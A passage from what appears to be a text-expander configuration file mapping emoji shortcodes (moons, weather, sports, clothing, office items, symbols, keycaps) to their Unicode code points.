":eight_thirty:" + replace: "\U0001F563" + - trigger: ":nine_oclock:" + replace: "\U0001F558" + - trigger: ":nine_thirty:" + replace: "\U0001F564" + - trigger: ":ten_oclock:" + replace: "\U0001F559" + - trigger: ":ten_thirty:" + replace: "\U0001F565" + - trigger: ":eleven_oclock:" + replace: "\U0001F55A" + - trigger: ":eleven_thirty:" + replace: "\U0001F566" + - trigger: ":new_moon:" + replace: "\U0001F311" + - trigger: ":waxing_crescent_moon:" + replace: "\U0001F312" + - trigger: ":first_quarter_moon:" + replace: "\U0001F313" + - trigger: ":waxing_gibbous_moon:" + replace: "\U0001F314" + - trigger: ":full_moon:" + replace: "\U0001F315" + - trigger: ":waning_gibbous_moon:" + replace: "\U0001F316" + - trigger: ":last_quarter_moon:" + replace: "\U0001F317" + - trigger: ":waning_crescent_moon:" + replace: "\U0001F318" + - trigger: ":crescent_moon:" + replace: "\U0001F319" + - trigger: ":new_moon_face:" + replace: "\U0001F31A" + - trigger: ":first_quarter_moon_face:" + replace: "\U0001F31B" + - trigger: ":last_quarter_moon_face:" + replace: "\U0001F31C" + - trigger: ":thermometer:" + replace: "\U0001F321" + - trigger: ":sun:" + replace: "\U00002600" + - trigger: ":full_moon_face:" + replace: "\U0001F31D" + - trigger: ":sun_with_face:" + replace: "\U0001F31E" + - trigger: ":ringed_planet:" + replace: "\U0001FA90" + - trigger: ":star:" + replace: "\U00002B50" + - trigger: ":glowing_star:" + replace: "\U0001F31F" + - trigger: ":shooting_star:" + replace: "\U0001F320" + - trigger: ":milky_way:" + replace: "\U0001F30C" + - trigger: ":cloud:" + replace: "\U00002601" + - trigger: ":sun_behind_cloud:" + replace: "\U000026C5" + - trigger: ":cloud_with_lightning_and_rain:" + replace: "\U000026C8" + - trigger: ":sun_behind_small_cloud:" + replace: "\U0001F324" + - trigger: ":sun_behind_large_cloud:" + replace: "\U0001F325" + - trigger: ":sun_behind_rain_cloud:" + replace: "\U0001F326" + - trigger: ":cloud_with_rain:" + replace: "\U0001F327" + - trigger: ":cloud_with_snow:" + replace: "\U0001F328" + - trigger: ":cloud_with_lightning:" + replace: "\U0001F329" + - trigger: ":tornado:" + replace: "\U0001F32A" + - trigger: ":fog:" + replace: "\U0001F32B" + - trigger: ":wind_face:" + replace: "\U0001F32C" + - trigger: ":cyclone:" + replace: "\U0001F300" + - trigger: ":rainbow:" + replace: "\U0001F308" + - trigger: ":closed_umbrella:" + replace: "\U0001F302" + - trigger: ":umbrella:" + replace: "\U00002602" + - trigger: ":umbrella_with_rain_drops:" + replace: "\U00002614" + - trigger: ":umbrella_on_ground:" + replace: "\U000026F1" + - trigger: ":high_voltage:" + replace: "\U000026A1" + - trigger: ":snowflake:" + replace: "\U00002744" + - trigger: ":snowman:" + replace: "\U00002603" + - trigger: ":snowman_without_snow:" + replace: "\U000026C4" + - trigger: ":comet:" + replace: "\U00002604" + - trigger: ":fire:" + replace: "\U0001F525" + - trigger: ":droplet:" + replace: "\U0001F4A7" + - trigger: ":water_wave:" + replace: "\U0001F30A" + - trigger: ":jack_o_lantern:" + replace: "\U0001F383" + - trigger: ":christmas_tree:" + replace: "\U0001F384" + - trigger: ":fireworks:" + replace: "\U0001F386" + - trigger: ":sparkler:" + replace: "\U0001F387" + - trigger: ":firecracker:" + replace: "\U0001F9E8" + - trigger: ":sparkles:" + replace: "\U00002728" + - trigger: ":balloon:" + replace: "\U0001F388" + - trigger: ":party_popper:" + replace: "\U0001F389" + - trigger: ":confetti_ball:" + replace: "\U0001F38A" + - trigger: ":tanabata_tree:" + replace: "\U0001F38B" + - trigger: ":pine_decoration:" + replace: "\U0001F38D" + - trigger: ":japanese_dolls:" + replace: "\U0001F38E" + - trigger: ":carp_streamer:" + replace: "\U0001F38F" + - trigger: ":wind_chime:" + replace: "\U0001F390" + - trigger: ":moon_viewing_ceremony:" + replace: "\U0001F391" + - trigger: ":red_envelope:" + replace: "\U0001F9E7" + - trigger: ":ribbon:" + replace: "\U0001F380" + - trigger: ":wrapped_gift:" + replace: "\U0001F381" + - trigger: ":reminder_ribbon:" + replace: "\U0001F397" + - trigger: ":admission_tickets:" + replace: "\U0001F39F" + - trigger: ":ticket:" + replace: "\U0001F3AB" + - trigger: ":military_medal:" + replace: "\U0001F396" + - trigger: ":trophy:" + replace: "\U0001F3C6" + - trigger: ":sports_medal:" + replace: "\U0001F3C5" + - trigger: ":1st_place_medal:" + replace: "\U0001F947" + - trigger: ":2nd_place_medal:" + replace: "\U0001F948" + - trigger: ":3rd_place_medal:" + replace: "\U0001F949" + - trigger: ":soccer_ball:" + replace: "\U000026BD" + - trigger: ":baseball:" + replace: "\U000026BE" + - trigger: ":softball:" + replace: "\U0001F94E" + - trigger: ":basketball:" + replace: "\U0001F3C0" + - trigger: ":volleyball:" + replace: "\U0001F3D0" + - trigger: ":american_football:" + replace: "\U0001F3C8" + - trigger: ":rugby_football:" + replace: "\U0001F3C9" + - trigger: ":tennis:" + replace: "\U0001F3BE" + - trigger: ":flying_disc:" + replace: "\U0001F94F" + - trigger: ":bowling:" + replace: "\U0001F3B3" + - trigger: ":cricket_game:" + replace: "\U0001F3CF" + - trigger: ":field_hockey:" + replace: "\U0001F3D1" + - trigger: ":ice_hockey:" + replace: "\U0001F3D2" + - trigger: ":lacrosse:" + replace: "\U0001F94D" + - trigger: ":ping_pong:" + replace: "\U0001F3D3" + - trigger: ":badminton:" + replace: "\U0001F3F8" + - trigger: ":boxing_glove:" + replace: "\U0001F94A" + - trigger: ":martial_arts_uniform:" + replace: "\U0001F94B" + - trigger: ":goal_net:" + replace: "\U0001F945" + - trigger: ":in_hole:" + replace: "\U000026F3" + - trigger: ":ice_skate:" + replace: "\U000026F8" + - trigger: ":fishing_pole:" + replace: "\U0001F3A3" + - trigger: ":diving_mask:" + replace: "\U0001F93F" + - trigger: ":running_shirt:" + replace: "\U0001F3BD" + - trigger: ":skis:" + replace: "\U0001F3BF" + - trigger: ":sled:" + replace: "\U0001F6F7" + - trigger: ":curling_stone:" + replace: "\U0001F94C" + - trigger: ":bullseye:" + replace: "\U0001F3AF" + - trigger: ":yo_yo:" + replace: "\U0001FA80" + - trigger: ":kite:" + replace: "\U0001FA81" + - trigger: ":pool_8_ball:" + replace: "\U0001F3B1" + - trigger: ":crystal_ball:" + replace: "\U0001F52E" + - trigger: ":magic_wand:" + replace: "\U0001FA84" + - trigger: ":nazar_amulet:" + replace: "\U0001F9FF" + - trigger: ":hamsa:" + replace: "\U0001FAAC" + - trigger: ":video_game:" + replace: "\U0001F3AE" + - trigger: ":joystick:" + replace: "\U0001F579" + - trigger: ":slot_machine:" + replace: "\U0001F3B0" + - trigger: ":game_die:" + replace: "\U0001F3B2" + - trigger: ":puzzle_piece:" + replace: "\U0001F9E9" + - trigger: ":teddy_bear:" + replace: "\U0001F9F8" + - trigger: ":pi�ata:" + replace: "\U0001FA85" + - trigger: ":mirror_ball:" + replace: "\U0001FAA9" + - trigger: ":nesting_dolls:" + replace: "\U0001FA86" + - trigger: ":spade_suit:" + replace: "\U00002660" + - trigger: ":heart_suit:" + replace: "\U00002665" + - trigger: ":diamond_suit:" + replace: "\U00002666" + - trigger: ":club_suit:" + replace: "\U00002663" + - trigger: ":chess_pawn:" + replace: "\U0000265F" + - trigger: ":joker:" + replace: "\U0001F0CF" + - trigger: ":mahjong_red_dragon:" + replace: "\U0001F004" + - trigger: ":flower_playing_cards:" + replace: "\U0001F3B4" + - trigger: ":performing_arts:" + replace: "\U0001F3AD" + - trigger: ":framed_picture:" + replace: "\U0001F5BC" + - trigger: ":artist_palette:" + replace: "\U0001F3A8" + - trigger: ":thread:" + replace: "\U0001F9F5" + - trigger: ":sewing_needle:" + replace: "\U0001FAA1" + - trigger: ":yarn:" + replace: "\U0001F9F6" + - trigger: ":knot:" + replace: "\U0001FAA2" + - trigger: ":glasses:" + replace: "\U0001F453" + - trigger: ":sunglasses:" + replace: "\U0001F576" + - trigger: ":goggles:" + replace: "\U0001F97D" + - trigger: ":lab_coat:" + replace: "\U0001F97C" + - trigger: ":safety_vest:" + replace: "\U0001F9BA" + - trigger: ":necktie:" + replace: "\U0001F454" + - trigger: ":t_shirt:" + replace: "\U0001F455" + - trigger: ":jeans:" + replace: "\U0001F456" + - trigger: ":scarf:" + replace: "\U0001F9E3" + - trigger: ":gloves:" + replace: "\U0001F9E4" + - trigger: ":coat:" + replace: "\U0001F9E5" + - trigger: ":socks:" + replace: "\U0001F9E6" + - trigger: ":dress:" + replace: "\U0001F457" + - trigger: ":kimono:" + replace: "\U0001F458" + - trigger: ":sari:" + replace: "\U0001F97B" + - trigger: ":one_piece_swimsuit:" + replace: "\U0001FA71" + - trigger: ":briefs:" + replace: "\U0001FA72" + - trigger: ":shorts:" + replace: "\U0001FA73" + - trigger: ":bikini:" + replace: "\U0001F459" + - trigger: ":womans_clothes:" + replace: "\U0001F45A" + - trigger: ":purse:" + replace: "\U0001F45B" + - trigger: ":handbag:" + replace: "\U0001F45C" + - trigger: ":clutch_bag:" + replace: "\U0001F45D" + - trigger: ":shopping_bags:" + replace: "\U0001F6CD" + - trigger: ":backpack:" + replace: "\U0001F392" + - trigger: ":thong_sandal:" + replace: "\U0001FA74" + - trigger: ":mans_shoe:" + replace: "\U0001F45E" + - trigger: ":running_shoe:" + replace: "\U0001F45F" + - trigger: ":hiking_boot:" + replace: "\U0001F97E" + - trigger: ":flat_shoe:" + replace: "\U0001F97F" + - trigger: ":high_heeled_shoe:" + replace: "\U0001F460" + - trigger: ":womans_sandal:" + replace: "\U0001F461" + - trigger: ":ballet_shoes:" + replace: "\U0001FA70" + - trigger: ":womans_boot:" + replace: "\U0001F462" + - trigger: ":crown:" + replace: "\U0001F451" + - trigger: ":womans_hat:" + replace: "\U0001F452" + - trigger: ":top_hat:" + replace: "\U0001F3A9" + - trigger: ":graduation_cap:" + replace: "\U0001F393" + - trigger: ":billed_cap:" + replace: "\U0001F9E2" + - trigger: ":military_helmet:" + replace: "\U0001FA96" + - trigger: ":rescue_workers_helmet:" + replace: "\U000026D1" + - trigger: ":prayer_beads:" + replace: "\U0001F4FF" + - trigger: ":lipstick:" + replace: "\U0001F484" + - trigger: ":ring:" + replace: "\U0001F48D" + - trigger: ":gem_stone:" + replace: "\U0001F48E" + - trigger: ":muted_speaker:" + replace: "\U0001F507" + - trigger: ":speaker_low_volume:" + replace: "\U0001F508" + - trigger: ":speaker_medium_volume:" + replace: "\U0001F509" + - trigger: ":speaker_high_volume:" + replace: "\U0001F50A" + - trigger: ":loudspeaker:" + replace: "\U0001F4E2" + - trigger: ":megaphone:" + replace: "\U0001F4E3" + - trigger: ":postal_horn:" + replace: "\U0001F4EF" + - trigger: ":bell:" + replace: "\U0001F514" + - trigger: ":bell_with_slash:" + replace: "\U0001F515" + - trigger: ":musical_score:" + replace: "\U0001F3BC" + - trigger: ":musical_note:" + replace: "\U0001F3B5" + - trigger: ":musical_notes:" + replace: "\U0001F3B6" + - trigger: ":studio_microphone:" + replace: "\U0001F399" + - trigger: ":level_slider:" + replace: "\U0001F39A" + - trigger: ":control_knobs:" + replace: "\U0001F39B" + - trigger: ":microphone:" + replace: "\U0001F3A4" + - trigger: ":headphone:" + replace: "\U0001F3A7" + - trigger: ":radio:" + replace: "\U0001F4FB" + - trigger: ":saxophone:" + replace: "\U0001F3B7" + - trigger: ":accordion:" + replace: "\U0001FA97" + - trigger: ":guitar:" + replace: "\U0001F3B8" + - trigger: ":musical_keyboard:" + replace: "\U0001F3B9" + - trigger: ":trumpet:" + replace: "\U0001F3BA" + - trigger: ":violin:" + replace: "\U0001F3BB" + - trigger: ":banjo:" + replace: "\U0001FA95" + - trigger: ":drum:" + replace: "\U0001F941" + - trigger: ":long_drum:" + replace: "\U0001FA98" + - trigger: ":mobile_phone:" + replace: "\U0001F4F1" + - trigger: ":mobile_phone_with_arrow:" + replace: "\U0001F4F2" + - trigger: ":telephone:" + replace: "\U0000260E" + - trigger: ":telephone_receiver:" + replace: "\U0001F4DE" + - trigger: ":pager:" + replace: "\U0001F4DF" + - trigger: ":fax_machine:" + replace: "\U0001F4E0" + - trigger: ":battery:" + replace: "\U0001F50B" + - trigger: ":low_battery:" + replace: "\U0001FAAB" + - trigger: ":electric_plug:" + replace: "\U0001F50C" + - trigger: ":laptop:" + replace: "\U0001F4BB" + - trigger: ":desktop_computer:" + replace: "\U0001F5A5" + - trigger: ":printer:" + replace: "\U0001F5A8" + - trigger: ":keyboard:" + replace: "\U00002328" + - trigger: ":computer_mouse:" + replace: "\U0001F5B1" + - trigger: ":trackball:" + replace: "\U0001F5B2" + - trigger: ":computer_disk:" + replace: "\U0001F4BD" + - trigger: ":floppy_disk:" + replace: "\U0001F4BE" + - trigger: ":optical_disk:" + replace: "\U0001F4BF" + - trigger: ":dvd:" + replace: "\U0001F4C0" + - trigger: ":abacus:" + replace: "\U0001F9EE" + - trigger: ":movie_camera:" + replace: "\U0001F3A5" + - trigger: ":film_frames:" + replace: "\U0001F39E" + - trigger: ":film_projector:" + replace: "\U0001F4FD" + - trigger: ":clapper_board:" + replace: "\U0001F3AC" + - trigger: ":television:" + replace: "\U0001F4FA" + - trigger: ":camera:" + replace: "\U0001F4F7" + - trigger: ":camera_with_flash:" + replace: "\U0001F4F8" + - trigger: ":video_camera:" + replace: "\U0001F4F9" + - trigger: ":videocassette:" + replace: "\U0001F4FC" + - trigger: ":magnifying_glass_tilted_left:" + replace: "\U0001F50D" + - trigger: ":magnifying_glass_tilted_right:" + replace: "\U0001F50E" + - trigger: ":candle:" + replace: "\U0001F56F" + - trigger: ":light_bulb:" + replace: "\U0001F4A1" + - trigger: ":flashlight:" + replace: "\U0001F526" + - trigger: ":red_paper_lantern:" + replace: "\U0001F3EE" + - trigger: ":diya_lamp:" + replace: "\U0001FA94" + - trigger: ":notebook_with_decorative_cover:" + replace: "\U0001F4D4" + - trigger: ":closed_book:" + replace: "\U0001F4D5" + - trigger: ":open_book:" + replace: "\U0001F4D6" + - trigger: ":green_book:" + replace: "\U0001F4D7" + - trigger: ":blue_book:" + replace: "\U0001F4D8" + - trigger: ":orange_book:" + replace: "\U0001F4D9" + - trigger: ":books:" + replace: "\U0001F4DA" + - trigger: ":notebook:" + replace: "\U0001F4D3" + - trigger: ":ledger:" + replace: "\U0001F4D2" + - trigger: ":page_with_curl:" + replace: "\U0001F4C3" + - trigger: ":scroll:" + replace: "\U0001F4DC" + - trigger: ":page_facing_up:" + replace: "\U0001F4C4" + - trigger: ":newspaper:" + replace: "\U0001F4F0" + - trigger: ":rolled_up_newspaper:" + replace: "\U0001F5DE" + - trigger: ":bookmark_tabs:" + replace: "\U0001F4D1" + - trigger: ":bookmark:" + replace: "\U0001F516" + - trigger: ":label:" + replace: "\U0001F3F7" + - trigger: ":money_bag:" + replace: "\U0001F4B0" + - trigger: ":coin:" + replace: "\U0001FA99" + - trigger: ":yen_banknote:" + replace: "\U0001F4B4" + - trigger: ":dollar_banknote:" + replace: "\U0001F4B5" + - trigger: ":euro_banknote:" + replace: "\U0001F4B6" + - trigger: ":pound_banknote:" + replace: "\U0001F4B7" + - trigger: ":money_with_wings:" + replace: "\U0001F4B8" + - trigger: ":credit_card:" + replace: "\U0001F4B3" + - trigger: ":receipt:" + replace: "\U0001F9FE" + - trigger: ":chart_increasing_with_yen:" + replace: "\U0001F4B9" + - trigger: ":envelope:" + replace: "\U00002709" + - trigger: ":e_mail:" + replace: "\U0001F4E7" + - trigger: ":incoming_envelope:" + replace: "\U0001F4E8" + - trigger: ":envelope_with_arrow:" + replace: "\U0001F4E9" + - trigger: ":outbox_tray:" + replace: "\U0001F4E4" + - trigger: ":inbox_tray:" + replace: "\U0001F4E5" + - trigger: ":package:" + replace: "\U0001F4E6" + - trigger: ":closed_mailbox_with_raised_flag:" + replace: "\U0001F4EB" + - trigger: ":closed_mailbox_with_lowered_flag:" + replace: "\U0001F4EA" + - trigger: ":open_mailbox_with_raised_flag:" + replace: "\U0001F4EC" + - trigger: ":open_mailbox_with_lowered_flag:" + replace: "\U0001F4ED" + - trigger: ":postbox:" + replace: "\U0001F4EE" + - trigger: ":ballot_box_with_ballot:" + replace: "\U0001F5F3" + - trigger: ":pencil:" + replace: "\U0000270F" + - trigger: ":black_nib:" + replace: "\U00002712" + - trigger: ":fountain_pen:" + replace: "\U0001F58B" + - trigger: ":pen:" + replace: "\U0001F58A" + - trigger: ":paintbrush:" + replace: "\U0001F58C" + - trigger: ":crayon:" + replace: "\U0001F58D" + - trigger: ":memo:" + replace: "\U0001F4DD" + - trigger: ":briefcase:" + replace: "\U0001F4BC" + - trigger: ":file_folder:" + replace: "\U0001F4C1" + - trigger: ":open_file_folder:" + replace: "\U0001F4C2" + - trigger: ":card_index_dividers:" + replace: "\U0001F5C2" + - trigger: ":calendar:" + replace: "\U0001F4C5" + - trigger: ":tear_off_calendar:" + replace: "\U0001F4C6" + - trigger: ":spiral_notepad:" + replace: "\U0001F5D2" + - trigger: ":spiral_calendar:" + replace: "\U0001F5D3" + - trigger: ":card_index:" + replace: "\U0001F4C7" + - trigger: ":chart_increasing:" + replace: "\U0001F4C8" + - trigger: ":chart_decreasing:" + replace: "\U0001F4C9" + - trigger: ":bar_chart:" + replace: "\U0001F4CA" + - trigger: ":clipboard:" + replace: "\U0001F4CB" + - trigger: ":pushpin:" + replace: "\U0001F4CC" + - trigger: ":round_pushpin:" + replace: "\U0001F4CD" + - trigger: ":paperclip:" + replace: "\U0001F4CE" + - trigger: ":linked_paperclips:" + replace: "\U0001F587" + - trigger: ":straight_ruler:" + replace: "\U0001F4CF" + - trigger: ":triangular_ruler:" + replace: "\U0001F4D0" + - trigger: ":scissors:" + replace: "\U00002702" + - trigger: ":card_file_box:" + replace: "\U0001F5C3" + - trigger: ":file_cabinet:" + replace: "\U0001F5C4" + - trigger: ":wastebasket:" + replace: "\U0001F5D1" + - trigger: ":locked:" + replace: "\U0001F512" + - trigger: ":unlocked:" + replace: "\U0001F513" + - trigger: ":locked_with_pen:" + replace: "\U0001F50F" + - trigger: ":locked_with_key:" + replace: "\U0001F510" + - trigger: ":key:" + replace: "\U0001F511" + - trigger: ":old_key:" + replace: "\U0001F5DD" + - trigger: ":hammer:" + replace: "\U0001F528" + - trigger: ":axe:" + replace: "\U0001FA93" + - trigger: ":pick:" + replace: "\U000026CF" + - trigger: ":hammer_and_pick:" + replace: "\U00002692" + - trigger: ":hammer_and_wrench:" + replace: "\U0001F6E0" + - trigger: ":dagger:" + replace: "\U0001F5E1" + - trigger: ":crossed_swords:" + replace: "\U00002694" + - trigger: ":water_pistol:" + replace: "\U0001F52B" + - trigger: ":boomerang:" + replace: "\U0001FA83" + - trigger: ":bow_and_arrow:" + replace: "\U0001F3F9" + - trigger: ":shield:" + replace: "\U0001F6E1" + - trigger: ":carpentry_saw:" + replace: "\U0001FA9A" + - trigger: ":wrench:" + replace: "\U0001F527" + - trigger: ":screwdriver:" + replace: "\U0001FA9B" + - trigger: ":nut_and_bolt:" + replace: "\U0001F529" + - trigger: ":gear:" + replace: "\U00002699" + - trigger: ":clamp:" + replace: "\U0001F5DC" + - trigger: ":balance_scale:" + replace: "\U00002696" + - trigger: ":white_cane:" + replace: "\U0001F9AF" + - trigger: ":link:" + replace: "\U0001F517" + - trigger: ":chains:" + replace: "\U000026D3" + - trigger: ":hook:" + replace: "\U0001FA9D" + - trigger: ":toolbox:" + replace: "\U0001F9F0" + - trigger: ":magnet:" + replace: "\U0001F9F2" + - trigger: ":ladder:" + replace: "\U0001FA9C" + - trigger: ":alembic:" + replace: "\U00002697" + - trigger: ":test_tube:" + replace: "\U0001F9EA" + - trigger: ":petri_dish:" + replace: "\U0001F9EB" + - trigger: ":dna:" + replace: "\U0001F9EC" + - trigger: ":microscope:" + replace: "\U0001F52C" + - trigger: ":telescope:" + replace: "\U0001F52D" + - trigger: ":satellite_antenna:" + replace: "\U0001F4E1" + - trigger: ":syringe:" + replace: "\U0001F489" + - trigger: ":drop_of_blood:" + replace: "\U0001FA78" + - trigger: ":pill:" + replace: "\U0001F48A" + - trigger: ":adhesive_bandage:" + replace: "\U0001FA79" + - trigger: ":crutch:" + replace: "\U0001FA7C" + - trigger: ":stethoscope:" + replace: "\U0001FA7A" + - trigger: ":x_ray:" + replace: "\U0001FA7B" + - trigger: ":door:" + replace: "\U0001F6AA" + - trigger: ":elevator:" + replace: "\U0001F6D7" + - trigger: ":mirror:" + replace: "\U0001FA9E" + - trigger: ":window:" + replace: "\U0001FA9F" + - trigger: ":bed:" + replace: "\U0001F6CF" + - trigger: ":couch_and_lamp:" + replace: "\U0001F6CB" + - trigger: ":chair:" + replace: "\U0001FA91" + - trigger: ":toilet:" + replace: "\U0001F6BD" + - trigger: ":plunger:" + replace: "\U0001FAA0" + - trigger: ":shower:" + replace: "\U0001F6BF" + - trigger: ":bathtub:" + replace: "\U0001F6C1" + - trigger: ":mouse_trap:" + replace: "\U0001FAA4" + - trigger: ":razor:" + replace: "\U0001FA92" + - trigger: ":lotion_bottle:" + replace: "\U0001F9F4" + - trigger: ":safety_pin:" + replace: "\U0001F9F7" + - trigger: ":broom:" + replace: "\U0001F9F9" + - trigger: ":basket:" + replace: "\U0001F9FA" + - trigger: ":roll_of_paper:" + replace: "\U0001F9FB" + - trigger: ":bucket:" + replace: "\U0001FAA3" + - trigger: ":soap:" + replace: "\U0001F9FC" + - trigger: ":bubbles:" + replace: "\U0001FAE7" + - trigger: ":toothbrush:" + replace: "\U0001FAA5" + - trigger: ":sponge:" + replace: "\U0001F9FD" + - trigger: ":fire_extinguisher:" + replace: "\U0001F9EF" + - trigger: ":shopping_cart:" + replace: "\U0001F6D2" + - trigger: ":cigarette:" + replace: "\U0001F6AC" + - trigger: ":coffin:" + replace: "\U000026B0" + - trigger: ":headstone:" + replace: "\U0001FAA6" + - trigger: ":funeral_urn:" + replace: "\U000026B1" + - trigger: ":moai:" + replace: "\U0001F5FF" + - trigger: ":placard:" + replace: "\U0001FAA7" + - trigger: ":identification_card:" + replace: "\U0001FAAA" + - trigger: ":atm_sign:" + replace: "\U0001F3E7" + - trigger: ":litter_in_bin_sign:" + replace: "\U0001F6AE" + - trigger: ":potable_water:" + replace: "\U0001F6B0" + - trigger: ":wheelchair_symbol:" + replace: "\U0000267F" + - trigger: ":mens_room:" + replace: "\U0001F6B9" + - trigger: ":womens_room:" + replace: "\U0001F6BA" + - trigger: ":restroom:" + replace: "\U0001F6BB" + - trigger: ":baby_symbol:" + replace: "\U0001F6BC" + - trigger: ":water_closet:" + replace: "\U0001F6BE" + - trigger: ":passport_control:" + replace: "\U0001F6C2" + - trigger: ":customs:" + replace: "\U0001F6C3" + - trigger: ":baggage_claim:" + replace: "\U0001F6C4" + - trigger: ":left_luggage:" + replace: "\U0001F6C5" + - trigger: ":warning:" + replace: "\U000026A0" + - trigger: ":children_crossing:" + replace: "\U0001F6B8" + - trigger: ":no_entry:" + replace: "\U000026D4" + - trigger: ":prohibited:" + replace: "\U0001F6AB" + - trigger: ":no_bicycles:" + replace: "\U0001F6B3" + - trigger: ":no_smoking:" + replace: "\U0001F6AD" + - trigger: ":no_littering:" + replace: "\U0001F6AF" + - trigger: ":non_potable_water:" + replace: "\U0001F6B1" + - trigger: ":no_pedestrians:" + replace: "\U0001F6B7" + - trigger: ":no_mobile_phones:" + replace: "\U0001F4F5" + - trigger: ":no_one_under_eighteen:" + replace: "\U0001F51E" + - trigger: ":radioactive:" + replace: "\U00002622" + - trigger: ":biohazard:" + replace: "\U00002623" + - trigger: ":up_arrow:" + replace: "\U00002B06" + - trigger: ":up_right_arrow:" + replace: "\U00002197" + - trigger: ":right_arrow:" + replace: "\U000027A1" + - trigger: ":down_right_arrow:" + replace: "\U00002198" + - trigger: ":down_arrow:" + replace: "\U00002B07" + - trigger: ":down_left_arrow:" + replace: "\U00002199" + - trigger: ":left_arrow:" + replace: "\U00002B05" + - trigger: ":up_left_arrow:" + replace: "\U00002196" + - trigger: ":up_down_arrow:" + replace: "\U00002195" + - trigger: ":left_right_arrow:" + replace: "\U00002194" + - trigger: ":right_arrow_curving_left:" + replace: "\U000021A9" + - trigger: ":left_arrow_curving_right:" + replace: "\U000021AA" + - trigger: ":right_arrow_curving_up:" + replace: "\U00002934" + - trigger: ":right_arrow_curving_down:" + replace: "\U00002935" + - trigger: ":clockwise_vertical_arrows:" + replace: "\U0001F503" + - trigger: ":counterclockwise_arrows_button:" + replace: "\U0001F504" + - trigger: ":back_arrow:" + replace: "\U0001F519" + - trigger: ":end_arrow:" + replace: "\U0001F51A" + - trigger: ":on!_arrow:" + replace: "\U0001F51B" + - trigger: ":soon_arrow:" + replace: "\U0001F51C" + - trigger: ":top_arrow:" + replace: "\U0001F51D" + - trigger: ":place_of_worship:" + replace: "\U0001F6D0" + - trigger: ":atom_symbol:" + replace: "\U0000269B" + - trigger: ":om:" + replace: "\U0001F549" + - trigger: ":star_of_david:" + replace: "\U00002721" + - trigger: ":wheel_of_dharma:" + replace: "\U00002638" + - trigger: ":yin_yang:" + replace: "\U0000262F" + - trigger: ":latin_cross:" + replace: "\U0000271D" + - trigger: ":orthodox_cross:" + replace: "\U00002626" + - trigger: ":star_and_crescent:" + replace: "\U0000262A" + - trigger: ":peace_symbol:" + replace: "\U0000262E" + - trigger: ":menorah:" + replace: "\U0001F54E" + - trigger: ":dotted_six_pointed_star:" + replace: "\U0001F52F" + - trigger: ":aries:" + replace: "\U00002648" + - trigger: ":taurus:" + replace: "\U00002649" + - trigger: ":gemini:" + replace: "\U0000264A" + - trigger: ":cancer:" + replace: "\U0000264B" + - trigger: ":leo:" + replace: "\U0000264C" + - trigger: ":virgo:" + replace: "\U0000264D" + - trigger: ":libra:" + replace: "\U0000264E" + - trigger: ":scorpio:" + replace: "\U0000264F" + - trigger: ":sagittarius:" + replace: "\U00002650" + - trigger: ":capricorn:" + replace: "\U00002651" + - trigger: ":aquarius:" + replace: "\U00002652" + - trigger: ":pisces:" + replace: "\U00002653" + - trigger: ":ophiuchus:" + replace: "\U000026CE" + - trigger: ":shuffle_tracks_button:" + replace: "\U0001F500" + - trigger: ":repeat_button:" + replace: "\U0001F501" + - trigger: ":repeat_single_button:" + replace: "\U0001F502" + - trigger: ":play_button:" + replace: "\U000025B6" + - trigger: ":fast_forward_button:" + replace: "\U000023E9" + - trigger: ":next_track_button:" + replace: "\U000023ED" + - trigger: ":play_or_pause_button:" + replace: "\U000023EF" + - trigger: ":reverse_button:" + replace: "\U000025C0" + - trigger: ":fast_reverse_button:" + replace: "\U000023EA" + - trigger: ":last_track_button:" + replace: "\U000023EE" + - trigger: ":upwards_button:" + replace: "\U0001F53C" + - trigger: ":fast_up_button:" + replace: "\U000023EB" + - trigger: ":downwards_button:" + replace: "\U0001F53D" + - trigger: ":fast_down_button:" + replace: "\U000023EC" + - trigger: ":pause_button:" + replace: "\U000023F8" + - trigger: ":stop_button:" + replace: "\U000023F9" + - trigger: ":record_button:" + replace: "\U000023FA" + - trigger: ":eject_button:" + replace: "\U000023CF" + - trigger: ":cinema:" + replace: "\U0001F3A6" + - trigger: ":dim_button:" + replace: "\U0001F505" + - trigger: ":bright_button:" + replace: "\U0001F506" + - trigger: ":antenna_bars:" + replace: "\U0001F4F6" + - trigger: ":vibration_mode:" + replace: "\U0001F4F3" + - trigger: ":mobile_phone_off:" + replace: "\U0001F4F4" + - trigger: ":female_sign:" + replace: "\U00002640" + - trigger: ":male_sign:" + replace: "\U00002642" + - trigger: ":transgender_symbol:" + replace: "\U000026A7" + - trigger: ":multiply:" + replace: "\U00002716" + - trigger: ":plus:" + replace: "\U00002795" + - trigger: ":minus:" + replace: "\U00002796" + - trigger: ":divide:" + replace: "\U00002797" + - trigger: ":heavy_equals_sign:" + replace: "\U0001F7F0" + - trigger: ":infinity:" + replace: "\U0000267E" + - trigger: ":double_exclamation_mark:" + replace: "\U0000203C" + - trigger: ":exclamation_question_mark:" + replace: "\U00002049" + - trigger: ":red_question_mark:" + replace: "\U00002753" + - trigger: ":white_question_mark:" + replace: "\U00002754" + - trigger: ":white_exclamation_mark:" + replace: "\U00002755" + - trigger: ":red_exclamation_mark:" + replace: "\U00002757" + - trigger: ":wavy_dash:" + replace: "\U00003030" + - trigger: ":currency_exchange:" + replace: "\U0001F4B1" + - trigger: ":heavy_dollar_sign:" + replace: "\U0001F4B2" + - trigger: ":medical_symbol:" + replace: "\U00002695" + - trigger: ":recycling_symbol:" + replace: "\U0000267B" + - trigger: ":fleur_de_lis:" + replace: "\U0000269C" + - trigger: ":trident_emblem:" + replace: "\U0001F531" + - trigger: ":name_badge:" + replace: "\U0001F4DB" + - trigger: ":japanese_symbol_for_beginner:" + replace: "\U0001F530" + - trigger: ":hollow_red_circle:" + replace: "\U00002B55" + - trigger: ":check_mark_button:" + replace: "\U00002705" + - trigger: ":check_box_with_check:" + replace: "\U00002611" + - trigger: ":check_mark:" + replace: "\U00002714" + - trigger: ":cross_mark:" + replace: "\U0000274C" + - trigger: ":cross_mark_button:" + replace: "\U0000274E" + - trigger: ":curly_loop:" + replace: "\U000027B0" + - trigger: ":double_curly_loop:" + replace: "\U000027BF" + - trigger: ":part_alternation_mark:" + replace: "\U0000303D" + - trigger: ":eight_spoked_asterisk:" + replace: "\U00002733" + - trigger: ":eight_pointed_star:" + replace: "\U00002734" + - trigger: ":sparkle:" + replace: "\U00002747" + - trigger: ":copyright:" + replace: "\U000000A9" + - trigger: ":registered:" + replace: "\U000000AE" + - trigger: ":trade_mark:" + replace: "\U00002122" + - trigger: ":keycap_#:" + replace: "\U000020E3" + - trigger: ":keycap_*:" + replace: "\U000020E3" + - trigger: ":keycap_0:" + replace: "\U000020E3" + - trigger: ":keycap_1:" + replace: "\U000020E3" + - trigger: 